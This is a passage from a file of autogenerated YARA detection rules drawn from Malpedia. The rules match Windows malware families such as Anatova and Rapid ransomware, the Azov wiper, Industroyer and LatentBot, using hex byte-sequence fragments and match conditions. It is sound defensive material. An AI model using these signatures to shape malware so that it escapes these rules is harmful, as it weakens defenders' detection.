		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45c0 30c9 ba38000000 e8???????? c745c0504b0606 8d45a8 }
		$sequence_1 = { 8b45f8 c7401400000000 8b45f8 e8???????? c745f401000000 }
		$sequence_2 = { 6631d2 8d85d8feffff e8???????? 8d45dc 30c9 6631d2 }
		$sequence_3 = { 8b09 ff5164 8345f401 8b45f8 8b4004 e8???????? }
		$sequence_4 = { c78580fdffff00000000 c78584fdffff00000000 c7858cfeffff00000000 31c0 }
		$sequence_5 = { 6631c9 ba03010000 e8???????? 8b85b8feffff ba???????? }
		$sequence_6 = { c7406000000000 8b45f4 c7406400000000 8b45f4 83785c00 770b 7210 }
		$sequence_7 = { 30c9 6631d2 e8???????? 0fb745fc 68ff000000 8d8dd8feffff baffffffff }
		$sequence_8 = { d805???????? d80d???????? 895df0 897df4 0fba65f41f df6df0 7306 }
		$sequence_9 = { 8b52fc 29c2 8d4a01 8d5001 8b45fc e8???????? 89d8 }
	condition:
		7 of them and filesize < 739328
}

rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0fa9d6b-6c59-5a94-9c37-0c291299bb78"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anatova_ransom_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "08ba2b5584d7af06c3ea6ab9e9a7449efbced637b501a285d62a4734bce8c105"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c89da 4c8b1d???????? 41ffd3 488b45d8 4989c3 }
		$sequence_1 = { 4989c2 4c89d1 4c89da e8???????? 488b05???????? 4881c000020000 8b0d???????? }
		$sequence_2 = { 0f8405000000 e9???????? 48b80000100000000000 e9???????? 488b45e8 48b90000000000000000 48894c2420 }
		$sequence_3 = { 488985c0feffff 488b85c0feffff b938020000 8908 488b85c0feffff 4989c3 }
		$sequence_4 = { e8???????? 0fb645ff 83f800 0f846f020000 }
		$sequence_5 = { 8845fe 0fb645fe 83f800 0f840d010000 }
		$sequence_6 = { 488b4d10 4801c1 8b45fc 4863c0 }
		$sequence_7 = { 488b05???????? 4883f800 0f848f010000 488b05???????? 4883f800 0f847e010000 488b05???????? }
		$sequence_8 = { b800000000 898574ffffff 8b8574ffffff 83f810 0f8dd3000000 }
		$sequence_9 = { 48b80f00000000000000 4989c0 b800000000 4989c3 488d45b1 4989c2 4c89d1 }
	condition:
		7 of them and filesize < 671744
}

rule MALPEDIA_Win_Daolpu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b0894e5-1a8e-5546-8c9e-1b741fdf5950"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daolpu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daolpu_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8005f7b5dce3eec7097b3ee19274ed96f4a8267ee8f070756b8e93cef441b9c0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7506 4883c460 5b c3 a804 7409 488d1dbe721100 }
		$sequence_1 = { 7439 488b442470 488b8080000000 4883c008 4889442438 488b442470 488b4c2438 }
		$sequence_2 = { 498bf8 488bf2 488bd9 0f85bc000000 80b9ae0a000000 0f85af000000 41b80f000000 }
		$sequence_3 = { 48ffca 4d85f6 75ec e9???????? 83f840 0f85d0000000 4d8b7610 }
		$sequence_4 = { 897c2428 448be2 44896c2424 8944242c 3801 0f8411050000 0f1f840000000000 }
		$sequence_5 = { e8???????? 8b442428 c1f806 4898 488d0da3a10600 8b542428 83e23f }
		$sequence_6 = { 498b4c2448 ff15???????? 0f104500 488bcd 410f110424 0f104d10 410f114c2410 }
		$sequence_7 = { 66ffc3 66413bdf 0f864fffffff 488d15adc40a00 498bce e8???????? e9???????? }
		$sequence_8 = { 7501 cc 48c744242000000000 41b951050000 4c8d05cd131200 488d158e141200 488d0dff151200 }
		$sequence_9 = { e8???????? 0f57c0 f30f7f4558 4c896568 488b4d50 4c896550 ba10000000 }
	condition:
		7 of them and filesize < 2877440
}

rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "77652d6a-745f-5552-8901-83bf555706f4"
		date = "2023-12-06"
		modified = "2023-12-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerbu_miner_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e4927a587588bc11053fcbade5bb9500364c9a656d383eb318cc8486464f3cce"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20231130"
		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
		malpedia_version = "20230808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88b42480000000 eb3f 83e902 7433 83e904 7413 83e909 }
		$sequence_1 = { 7412 48 8d0d0b360500 48 83c428 48 ff25???????? }
		$sequence_2 = { 8d4601 c643012e 48 63c8 41 8d4602 48 }
		$sequence_3 = { 85d2 7427 85c9 b800040000 41 b800080000 44 }
		$sequence_4 = { f6473801 7402 eb18 48 8bcf ff15???????? f6473801 }
		$sequence_5 = { e9???????? 45 8bfd 44 89ad50010000 e9???????? 44 }
		$sequence_6 = { 48 89442420 e8???????? 48 8bd7 48 8bcb }
		$sequence_7 = { 89b42418010000 8b74242c 83feff 7515 837f0c00 7c0f 48 }
		$sequence_8 = { 8d057b52f9ff 48 894518 c745b0e6070000 48 c745c000000200 48 }
		$sequence_9 = { 44 2bc0 44 8903 33c0 48 8b5c2438 }
	condition:
		7 of them and filesize < 1040384
}

rule MALPEDIA_Win_Latentbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d1503e41-08e6-5adf-a875-66636893fe66"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latentbot_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "c8242f2d9f053ebc06f18c04d8c5d76f7cd68171deb734a7f00fb470d56dc52c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f c3 55 8bec 8b4604 81ecdc020000 85c0 }
		$sequence_1 = { 7505 be04000000 56 6800300000 8d44241c 50 6a00 }
		$sequence_2 = { 8d4c2410 51 6aff ffd2 33c0 8703 }
		$sequence_3 = { 8bc3 e8???????? 299ff42a0000 015e0c 295e10 015e14 8b87f42a0000 }
		$sequence_4 = { ff5554 395d70 0f8689000000 833d????????06 752c 833d????????03 7434 }
		$sequence_5 = { 83ec08 3bc2 7769 8d4c2404 51 8d542404 }
		$sequence_6 = { 50 e8???????? 0145f8 837df805 8945e8 72e7 }
		$sequence_7 = { 7814 8d5002 85d2 7406 8d440802 eb02 }
		$sequence_8 = { 8b413c 53 03c1 0fb74814 56 0fb77006 33db }
		$sequence_9 = { 66890477 46 3bf3 72ea 33c0 66890477 }
	condition:
		7 of them and filesize < 401408
}

rule MALPEDIA_Win_Logtu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f949c271-e440-5637-a6d2-753c8d4bcb2d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logtu_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "2b9e09a38ca4475522d0fb0fcb3945e7a2b5d830b8dfe7602d8b21ba629f63c3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a64 6a00 ff15???????? 85c0 7509 8b45bc }
		$sequence_1 = { ff15???????? 85c0 7509 8b45bc }
		$sequence_2 = { ff15???????? 6a01 8bf0 8d85a4fdffff 68???????? 50 }
		$sequence_3 = { 81ec98050000 a1???????? 33c5 8945fc 53 56 57 }
		$sequence_4 = { 6800080000 50 8d85fcf7ffff 50 e8???????? }
		$sequence_5 = { 50 8d85fcf7ffff 68???????? 50 e8???????? 8d85fcf7ffff }
		$sequence_6 = { 8d8578faffff 50 8d8584faffff 50 }
		$sequence_7 = { 8d8578faffff 50 8d8584faffff 50 8d8574faffff }
		$sequence_8 = { 6a01 8bf0 8d85a4fdffff 68???????? 50 ff15???????? 83c40c }
		$sequence_9 = { 68???????? 50 e8???????? 8d85fcf7ffff 6800040000 50 }
	condition:
		7 of them and filesize < 924672
}

rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c19fad8c-a407-5bf5-acec-08286bdf3f5a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rapid_ransom_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "67800a8541a0930476ccb252960ba42436cf1502df6e201c2920e486423cdc16"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 6801000004 6800a40000 ff75f8 }
		$sequence_1 = { eb05 803e00 7509 803a00 0f840c010000 }
		$sequence_2 = { ff15???????? 8b4c2438 f6c110 7410 68???????? 56 }
		$sequence_3 = { 6a00 6a07 6a00 ff75fc ffd7 }
		$sequence_4 = { 75f7 ff75fc 51 6801000040 ff750c 53 ff15???????? }
		$sequence_5 = { 84c0 0f94c1 33c0 84c9 5f 5e 0f94c0 }
		$sequence_6 = { ff15???????? 56 ffd7 8bd0 8bce e8???????? }
		$sequence_7 = { 80c261 8857ff 4b 75eb 8b75fc 5b }
		$sequence_8 = { a3???????? e8???????? 83c404 b001 5e }
		$sequence_9 = { 6a02 6a00 6a03 68000000c0 8d85f8feffff 50 }
		$sequence_10 = { 56 ff15???????? 85c0 7448 8b3d???????? }
		$sequence_11 = { 8d7601 80becc8c410000 75f4 e8???????? 99 8d4eff }
		$sequence_12 = { 83ea01 75f2 8b7dac 8b55b4 33c0 c6043200 }
		$sequence_13 = { 8d7f08 8b048dc4724000 ffe0 f7c703000000 7413 }
		$sequence_14 = { eb05 1bc0 83c801 8b4df0 85c0 0f84a0feffff }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Liteduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce6d7cbd-e712-527e-8d2e-e59cc7813425"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.liteduke_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "e8630c4a732088757bd3da58bb3967f30c07f9d1aee8531a027e677d423a3358"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c9 c20400 55 89e5 ff7508 6800010000 }
		$sequence_1 = { 51 6821020000 50 6a21 50 6888c00700 ffb5d0fdffff }
		$sequence_2 = { ad 6a04 59 c1c008 3c3d 7501 45 }
		$sequence_3 = { 837d1001 7510 c745f810000000 c745fc0a000000 eb2a 837d1002 7510 }
		$sequence_4 = { f70600000080 7409 8b06 25ffffff3f eb60 50 e8???????? }
		$sequence_5 = { 8a03 52 50 6a03 e8???????? 83c408 5a }
		$sequence_6 = { 7404 0113 ebca 2113 ebc6 58 }
		$sequence_7 = { 50 ff15???????? 83c410 ff75e4 e8???????? 6800800000 }
		$sequence_8 = { e8???????? 31c0 aa 61 c9 c20c00 55 }
		$sequence_9 = { 21df 89d0 21f0 09f8 01c1 034dec }
	condition:
		7 of them and filesize < 1171456
}

rule MALPEDIA_Win_Roll_Sling_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "291394b2-c9d5-58b3-b157-b1e8265d7d6c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roll_sling_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "fde2b7753670b142ee16bd9c69d80bdb5da3ac212825981d31dd1e2015cde6f5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ba04000000 488bcf e8???????? 498bce 48833d????????10 480f430d???????? }
		$sequence_1 = { 492bd0 4803d7 e8???????? 4533c9 4533c0 }
		$sequence_2 = { 42385cf839 0f84ca000000 488d05a9ee0000 4a8b0ce8 488d55f0 4a8b4cf928 }
		$sequence_3 = { 4c8d0d63b40000 8bda 4c8d0552b40000 488bf9 488d1550b40000 b904000000 e8???????? }
		$sequence_4 = { 440f44d2 0fb74806 41ffc4 4c8b442468 4883c328 443be1 }
		$sequence_5 = { 4883c227 4d8b6df8 492bc5 4883c0f8 4883f81f 0f877c040000 498bcd }
		$sequence_6 = { 483bc3 7306 4c8bf3 488bd8 4533c9 4c8bc3 }
		$sequence_7 = { 448bb090000000 4d03f7 498bce ff15???????? 85c0 0f8530010000 }
		$sequence_8 = { eb14 4889742420 4c8d4da0 488bd6 }
		$sequence_9 = { 4c89742428 4c897c2420 e8???????? 488bcb 488bf0 e8???????? }
	condition:
		7 of them and filesize < 299008
}

rule MALPEDIA_Win_Touchmove_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "522c2cac-142c-5982-9c6b-182b0f82e223"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.touchmove_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "b909bee1078b375a3a52a6b366cfda1d518438076dcea1e60cd1ece67d92cd0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d9520030000 488bcb 488905???????? ff15???????? }
		$sequence_1 = { c7853417000073686f74 c6853817000000 e8???????? 488d8d30290000 }
		$sequence_2 = { c785883b0000ef911211 c7858c3b0000ff7559a3 c785903b0000e16ea064 c785943b0000b8788977 c785983b0000a0379158 }
		$sequence_3 = { 894720 488d05fdfdffff 48894728 488d0502feffff 48894730 488d0507feffff }
		$sequence_4 = { 4c8d05d4acffff 89542420 83fa05 7d15 4863ca }
		$sequence_5 = { 7577 c744246000010000 488d442460 4889442428 488d8580440000 4889442420 }
		$sequence_6 = { c785200a00006b65726e c785240a0000656c3332 c785280a00002e646c6c c6852c0a000000 e8???????? }
		$sequence_7 = { 488bdf 4889742430 4d8d570c 4c89642428 488d2d1f660100 492bdf 0f1f4000 }
		$sequence_8 = { 83e001 894720 488d05fdfdffff 48894728 488d0502feffff }
		$sequence_9 = { 66c785904000006572 c6859240000000 33d2 41b8ed000000 488d8d93400000 e8???????? 660f6f2d???????? }
	condition:
		7 of them and filesize < 224256
}

rule MALPEDIA_Win_Industroyer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b70a6e6b-a7b3-5905-a2f3-bca4eedf28ac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer_auto.yar#L1-L392"
		license_url = "N/A"
		logic_hash = "d3f1f022d180cc54e73fc2b0f9206b38d6547f8fb0af0d5f384afd232c2b0a2b"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 ff75fc e8???????? 57 e8???????? 83c414 56 }
		$sequence_1 = { 8d85f8fdffff 56 be04010000 56 50 68???????? }
		$sequence_2 = { 8d45f4 50 56 57 53 ff15???????? 037df4 }
		$sequence_3 = { 53 ffd6 53 e8???????? 59 85c0 }
		$sequence_4 = { 68???????? 56 56 ff15???????? 57 8bf0 e8???????? }
		$sequence_5 = { 50 6a02 56 e8???????? ff7710 6a03 56 }
		$sequence_6 = { 8d45a8 33f6 57 50 e8???????? }
		$sequence_7 = { 51 50 56 57 ff15???????? 56 e8???????? }
		$sequence_8 = { 6a02 ff15???????? 8bd8 85db 0f849d000000 8d85d0fdffff c785d0fdffff2c020000 }
		$sequence_9 = { ff15???????? 89849da0efffff 83c604 43 81fe88000000 7291 }
		$sequence_10 = { 8b35???????? 0f1f00 f644241810 7451 }
		$sequence_11 = { e8???????? 83c404 33c0 eb19 8d8d90efffff 51 }
		$sequence_12 = { 81ec6c040000 a1???????? 33c4 89842468040000 53 8b1d???????? }
		$sequence_13 = { 8b35???????? 39bdd8fdffff 741f 8d85d0fdffff 50 53 }
		$sequence_14 = { 6800020000 8d85a0fbffff 50 56 ffb59cf3ffff ff15???????? 8b3d???????? }
		$sequence_15 = { 0f847bffffff ffb59cf3ffff ffd7 8b4dfc 5f 33cd }
		$sequence_16 = { 89442444 8b442418 89442440 8d44243c 50 }
		$sequence_17 = { 8bcb 50 e8???????? 83c408 8d95d8fffeff 8bf0 }
		$sequence_18 = { c745e0d4ff4000 e9???????? c745dc03000000 c745e0e0ff4000 e9???????? 83e80f 7451 }
		$sequence_19 = { eb07 8b0cc5dc084100 894de4 85c9 }
		$sequence_20 = { 7417 68???????? 50 ff15???????? 85c0 7407 6a00 }
		$sequence_21 = { 7464 68???????? ff35???????? c705????????01000000 c705????????04000000 c705????????00000000 c705????????00000000 }
		$sequence_22 = { 80480c01 eb04 80600cfe 807d1000 8b4604 }
		$sequence_23 = { 8b4508 dd00 ebc6 c745e0e8ff4000 e9???????? c745e0f0ff4000 e9???????? }
		$sequence_24 = { 8b34cd18c20110 8b4d08 6a5a 2bce 5b 0fb70431 663bc7 }
		$sequence_25 = { 75f9 8d7c2430 2bd6 4f 8a4701 47 84c0 }
		$sequence_26 = { 8945dc 8b1c9dd01f0210 895de0 f6441a2848 8b5d08 0f84ce000000 }
		$sequence_27 = { c7825402000000000000 c7825802000000000000 8b8350020000 898250020000 8b8354020000 }
		$sequence_28 = { f6470280 760d 68???????? e8???????? 83c404 }
		$sequence_29 = { 0f1f440000 8a02 42 84c0 75f9 8d7c2430 2bd6 }
		$sequence_30 = { 660f59f5 660f28aa40fe4000 660f54e5 660f58fe }
		$sequence_31 = { e9???????? 894ddc c745e0d8ff4000 e9???????? }
		$sequence_32 = { 33c2 2500800000 83f800 0f8547ffffff e9???????? 8b542408 }
		$sequence_33 = { 59 8bf0 6a01 8bce e8???????? 8d45f8 c706???????? }
		$sequence_34 = { 88d8 e2d9 8dbe00000600 8b07 09c0 }
		$sequence_35 = { 83eb01 741e 83eb01 7549 399ffc000000 7441 }
		$sequence_36 = { 894e10 e8???????? 59 59 85c0 }
		$sequence_37 = { ba05000000 8d0d905b4400 e9???????? a90000f07f 752c a9ffff0f00 }
		$sequence_38 = { 773c 2b4334 99 f77d8c 894598 3b4b3c }
		$sequence_39 = { 7451 8b7d08 8b4514 8b4d10 }
	condition:
		7 of them and filesize < 983040
}

rule MALPEDIA_Win_Sodamaster_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d1f7db4a-f731-535e-9ec7-0f94492b7206"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sodamaster_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "fa1144cbcb2ad99084cc1ee6d93d89428028e0238c89b4c179e1b18530e08c7f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5d c3 8b04c5d4ca0010 5d c3 8bff 55 }
		$sequence_1 = { 83c002 6685c9 75f5 8b8d14fbffff 2bc2 }
		$sequence_2 = { 8b748104 40 6a64 8945e8 ff15???????? 3bf3 }
		$sequence_3 = { 8bc3 c1f805 8d3c85a0330110 8bf3 83e61f c1e606 }
		$sequence_4 = { a3???????? a1???????? c705????????ee5c0010 8935???????? a3???????? }
		$sequence_5 = { 2bc1 8d8df0efffff 51 8bc8 e8???????? 8b35???????? 83c404 }
		$sequence_6 = { 52 51 d1f8 50 8d9524ffffff }
		$sequence_7 = { 85c0 743a 8b55ec 52 ff15???????? 8bf8 }
		$sequence_8 = { 0f84d5000000 8b95e8efffff 53 8d85dcefffff 50 }
		$sequence_9 = { ff15???????? eb10 c745da64006c00 b96c000000 66894dde }
	condition:
		7 of them and filesize < 134144
}

rule MALPEDIA_Win_Fusiondrive_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ca3c35ba-09cb-56c8-bbe3-749cd9839eab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fusiondrive_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "5e3043a82407e5acc0770d68c274349d0da53277a8b1605e4ac140328403150c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33db 4c8d35e14effff 4885db 750d 488bc7 498784f660de0100 eb1e }
		$sequence_1 = { 4883ec28 488d0d75c60100 e8???????? 488d0da9f50000 4883c428 e9???????? }
		$sequence_2 = { 660f6f05???????? f30f7f442470 66c745806557 c6458200 488d542470 488bc8 ff15???????? }
		$sequence_3 = { 488dac2450feffff 4881ecb0020000 488b05???????? 4833c4 488985a0010000 4032ff }
		$sequence_4 = { 4883c907 33ed 483bcf 7606 }
		$sequence_5 = { 41894018 0fb60a 83e10f 4a0fbe8409a8150100 428a8c09b8150100 482bd0 8b42fc }
		$sequence_6 = { e8???????? 488d0da9f50000 4883c428 e9???????? 4053 }
		$sequence_7 = { 488d5202 83f902 72ea c605????????00 }
		$sequence_8 = { 776a e8???????? 85c0 7428 85db 7524 488d0d92a30100 }
		$sequence_9 = { 4c8d05e3e90000 83e23f 488bcf 48c1f906 488d14d2 498b0cc8 c644d13800 }
	condition:
		7 of them and filesize < 290816
}

rule MALPEDIA_Win_Azov_Wiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9d3c9489-8494-515f-a851-2efd685c079b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azov_wiper_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "7b55d48ad9f56923d371b84a7be8f9204233f80fc6507fb08d7baa3b93540774"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883ef01 75e6 488b05???????? 33c9 488b10 }
		$sequence_1 = { 741e 488b05???????? bafe010000 488bcb 4c8b00 }
		$sequence_2 = { 4889442420 41ff9258010000 488b8c2470080000 4885c9 7410 488b05???????? }
		$sequence_3 = { 4c8b10 4883c8ff 0f1f00 66837c410200 488d4001 75f4 }
		$sequence_4 = { 488d55f3 ffd0 4883ec08 48c7042400000000 }
		$sequence_5 = { 488b0b 488b10 ff5250 488d5b08 4883ef01 75e6 488b05???????? }
		$sequence_6 = { 488bce 4c8b10 41ff5240 4885c0 }
		$sequence_7 = { 498943e0 488d055cfbffff 498943e8 488b05???????? 488bce }
		$sequence_8 = { 488b3d???????? f20f10842460020000 488b4710 f20f5c4004 660f2f400c 7310 }
		$sequence_9 = { 488b05???????? 498d8f00040000 48895c2430 4533c9 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Kutaki_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0ce7f5d-750c-52b1-ad8e-d94947241870"
		date = "2026-01-05"
		modified = "2026-01-06"
